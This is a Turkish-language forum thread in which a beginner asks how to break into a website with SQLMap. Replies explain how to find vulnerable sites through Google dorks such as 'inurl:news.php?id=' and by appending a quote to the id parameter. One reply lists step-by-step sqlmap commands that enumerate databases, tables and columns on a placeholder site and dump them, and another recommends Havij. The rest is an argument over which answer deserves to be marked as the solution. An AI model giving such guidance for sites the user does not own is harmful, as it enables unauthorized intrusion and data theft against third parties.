SQLMAP ile nasıl siteye sızabilirim ?

efebro38' Alıntı:

Merhaba arkadaşlar kali linuxu yeni yükledim sqlmap ile bir siteye arama yapmak istiyorum. Formda çokca konu var fakat 0 dan basit şekilde anlatırsanız sevinirim.
Bildiğiniz sql açıklı bir site ve nasıl sızacağımı anlatır mısınız ? İyi günler.

Genişletmek için tıkla ...

Merhaba,

Sqlmap ile açık taraması değil, açıktan yararlanma yapabilirsiniz. Açık bulmak için Google dorklari ile site bulup id=(sayı) kısmına ' veya " ekleyeceksiniz. Hata veriyorsa SQL açığı var demektir. Çözüm olarak işaretlerseniz sevinirim.

Nmap taramasi yap. Site acigi varsa havije gir url adresini gir. Giris yapacaksindir

Safak-Bey' Alıntı:

Merhabalar;
SQL açığı için eğer bir hedef siteniz var ise Acunetix, Zaproxy, Safe3, SkipFish gibi zafiyet tarayıcı programlar ile sql açığını keşfedebilir veya hedefiniz yoksa google de inurl:article.php?id= , inurl:news.php?id= gibi dorkları aratarak çıkan sitelerde url' deki id değerinin sonuna ' (tırnak) işareti koyarak tespit edebilirsiniz(örn:.php?id=2'). Eğer SQL açığı var ise site "SQL syntax;" veya sitedeki içeriklerin silinmesi gibi çeşitli hatalar vericektir.

SQLMAP Kullanımı;
Diyelim ki sql açığı olan bir site bulduk databaseyi nasıl çekicez? aşağıdaki basit sqlmap komutları ile sitenin databasesi çekilebilir;
sqlmap -u "http ://aciklisite.com/index.php?id=1" --dbs --batch
sqlmap -u "http ://aciklisite.com/index.php?id=1" -D db_adi --tables --batch
sqlmap -u "http ://aciklisite.com/index.php?id=1" -D db_adi -T tablo_adi --columns --batch
sqlmap -u "http ://aciklisite.com/index.php?id=1" -D db_adi -T tablo_adi -C kolon_adi/adlari --dump --batch

İyi Forumlar...

Genişletmek için tıkla ...

Teşekkür ettim tam istediğim şekilde bi anlatım olmuş kısa ve öz iyi formlar .

nMap dedim Havijle Vur dedim benimki demek açıklayıcı olmamış valla gülünecek tiplersiniz Ne Diyim

Sqlmappentester' Alıntı:

nMap dedim Havijle Vur dedim benimki demek açıklayıcı olmamış valla gülünecek tiplersiniz Ne Diyim

Genişletmek için tıkla ...

En iyi, açıklayıcı, öğretici cevabı kim verirse onu çözüldü olarak işaretler. Ayrıca
sırf seninkini işaretlemedi diye "" valla gülünecek tiplersiniz Ne Diyim "" demende doğru değil buna ne sen
nede ben karışabiliriz.

Sqlmappentester' Alıntı:

nMap dedim Havijle Vur dedim benimki demek açıklayıcı olmamış valla gülünecek tiplersiniz Ne Diyim

Genişletmek için tıkla ...

orda yazdığım üzere 0 bilgim var dedim siz bana gelip nmapten felan bahsediyorsunuz adam 0 bilgili insana anlatir gibi anlattiği için onu seçmekte oldukca mantıklı.